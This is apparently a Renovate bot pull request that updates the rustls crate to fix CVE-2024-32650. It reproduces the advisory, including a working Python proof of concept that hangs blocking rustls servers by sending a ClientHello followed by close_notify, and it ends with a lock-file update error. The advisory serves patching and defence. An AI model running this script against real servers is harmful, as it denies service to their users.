Update Rust crate rustls to 0.23.5 [SECURITY] (dev)

[renovate]

This PR contains the following updates:

Package	Type	Update	Change
rustls	dependencies	patch	0.23 → 0.23.5
rustls	workspace.dependencies	patch	0.23 → 0.23.5

---

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

---

Denial of Service Vulnerability in Rustls Library

CVE-2024-32650 / GHSA-6g7w-8wpp-frhj

More information

Details

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

• eof: false
• until_handshaked: true
• self.is_handshaking(): true
• self.wants_write(): false
• self.wants_read(): false

PoC

1. Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key
2. Run following python script

   #!/usr/bin/env python3
   
   import socket
   
   sock = socket.socket()
   sock.connect(("localhost", 4443))
   
   print("Sending client hello...")
   
   # Fake handshake data of a client hello message.
   fake_handshake = """
   1603 0100 c801 0000 c403 03ec 12dd
   1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
   a051 f03c b817 470d 4c54 c5df 7200 001c
   eaea c02b c02f c02c c030 cca9 cca8 c013
   c014 009c 009d 002f 0035 000a 0100 007f
   dada 0000 ff01 0001 0000 0000 1600 1400
   0011 7777 772e 7769 6b69 7065 6469 612e
   6f72 6700 1700 0000 2300 0000 0d00 1400
   1204 0308 0404 0105 0308 0505 0108 0606
   0102 0100 0500 0501 0000 0000 0012 0000
   0010 000e 000c 0268 3208 6874 7470 2f31
   2e31 7550 0000 000b 0002 0100 000a 000a
   0008 1a1a 001d 0017 0018 1a1a 0001 00
   """
   
   
   def parse_fake_handshake():
       i = 0
       data = bytearray()
       while i < len(fake_handshake):
           while i < len(fake_handshake) and fake_handshake[i].isspace():
               i += 1
           if i >= len(fake_handshake):
               return data
   
           c1 = fake_handshake[i]
           c2 = fake_handshake[i + 1]
           i += 2
   
           data.append(int(c1, 16) * 16 + int(c2, 16))
       return data
   
   
   data = parse_fake_handshake()
   
   print("Fake client hello:", data)
   
   sock.send(data)
   
   # Send close_notify alert that we're closing the connection.
   close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
   print(f"close_notify is {close_data}")
   sock.send(close_data)
   print("close_notify sent")
   
   exit(0)

3. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj
• https://nvd.nist.gov/vuln/detail/CVE-2024-32650
• https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d
• https://github.com/rustls/rustls/commit/5374108df698e78c3e9ef8265cac311556be24af
• https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e
• https://github.com/rustls/rustls/commit/ebcb4782f23b4edf9b10a7065d9e8d4362439d9c
• https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e
• https://rustsec.org/advisories/RUSTSEC-2024-0336.html
• https://github.com/advisories/GHSA-6g7w-8wpp-frhj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Denial of Service Vulnerability in Rustls Library

CVE-2024-32650 / GHSA-6g7w-8wpp-frhj / RUSTSEC-2024-0336

More information

Details

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

• eof: false
• until_handshaked: true
• self.is_handshaking(): true
• self.wants_write(): false
• self.wants_read(): false

PoC

1. Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key
2. Run following python script

   #!/usr/bin/env python3
   
   import socket
   
   sock = socket.socket()
   sock.connect(("localhost", 4443))
   
   print("Sending client hello...")
   
   # Fake handshake data of a client hello message.
   fake_handshake = """
   1603 0100 c801 0000 c403 03ec 12dd
   1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
   a051 f03c b817 470d 4c54 c5df 7200 001c
   eaea c02b c02f c02c c030 cca9 cca8 c013
   c014 009c 009d 002f 0035 000a 0100 007f
   dada 0000 ff01 0001 0000 0000 1600 1400
   0011 7777 772e 7769 6b69 7065 6469 612e
   6f72 6700 1700 0000 2300 0000 0d00 1400
   1204 0308 0404 0105 0308 0505 0108 0606
   0102 0100 0500 0501 0000 0000 0012 0000
   0010 000e 000c 0268 3208 6874 7470 2f31
   2e31 7550 0000 000b 0002 0100 000a 000a
   0008 1a1a 001d 0017 0018 1a1a 0001 00
   """
   
   
   def parse_fake_handshake():
       i = 0
       data = bytearray()
       while i < len(fake_handshake):
           while i < len(fake_handshake) and fake_handshake[i].isspace():
               i += 1
           if i >= len(fake_handshake):
               return data
   
           c1 = fake_handshake[i]
           c2 = fake_handshake[i + 1]
           i += 2
   
           data.append(int(c1, 16) * 16 + int(c2, 16))
       return data
   
   
   data = parse_fake_handshake()
   
   print("Fake client hello:", data)
   
   sock.send(data)
   
   # Send close_notify alert that we're closing the connection.
   close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
   print(f"close_notify is {close_data}")
   sock.send(close_data)
   print("close_notify sent")
   
   exit(0)

3. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj
• https://nvd.nist.gov/vuln/detail/CVE-2024-32650
• https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d
• https://github.com/rustls/rustls/commit/5374108df698e78c3e9ef8265cac311556be24af
• https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e
• https://github.com/rustls/rustls/commit/ebcb4782f23b4edf9b10a7065d9e8d4362439d9c
• https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e
• https://github.com/rustls/rustls
• https://rustsec.org/advisories/RUSTSEC-2024-0336.html

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input

CVE-2024-32650 / GHSA-6g7w-8wpp-frhj / RUSTSEC-2024-0336

More information

Details

If a close_notify alert is received during a handshake, complete_io
does not terminate.

Callers which do not call complete_io are not affected.

rustls-tokio and rustls-ffi do not call complete_io
and are not affected.

rustls::Stream and rustls::StreamOwned types use
complete_io and are affected.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://crates.io/crates/rustls
• https://rustsec.org/advisories/RUSTSEC-2024-0336.html
• https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).

---

Configuration

📅 Schedule: (in timezone Europe/Warsaw)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

⚠️ Artifact update problem

Renovate failed to update artifacts related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: Cargo.lock

Command failed: cargo update --config net.git-fetch-with-cli=true --manifest-path Cargo.toml --workspace
error: failed to parse lock file at: /tmp/renovate/repos/github/DefGuard/defguard-renovate/Cargo.lock

Caused by:
  TOML parse error at line 5364, column 20
       |
  5364 | version = "0.23.11""
       |                    ^
  unexpected key or value, expected newline, `#`

File name: Cargo.lock

Command failed: cargo update --config net.git-fetch-with-cli=true --manifest-path crates/defguard_grpc_tls/Cargo.toml --workspace
error: failed to parse lock file at: /tmp/renovate/repos/github/DefGuard/defguard-renovate/Cargo.lock

Caused by:
  TOML parse error at line 5364, column 20
       |
  5364 | version = "0.23.11""
       |                    ^
  unexpected key or value, expected newline, `#`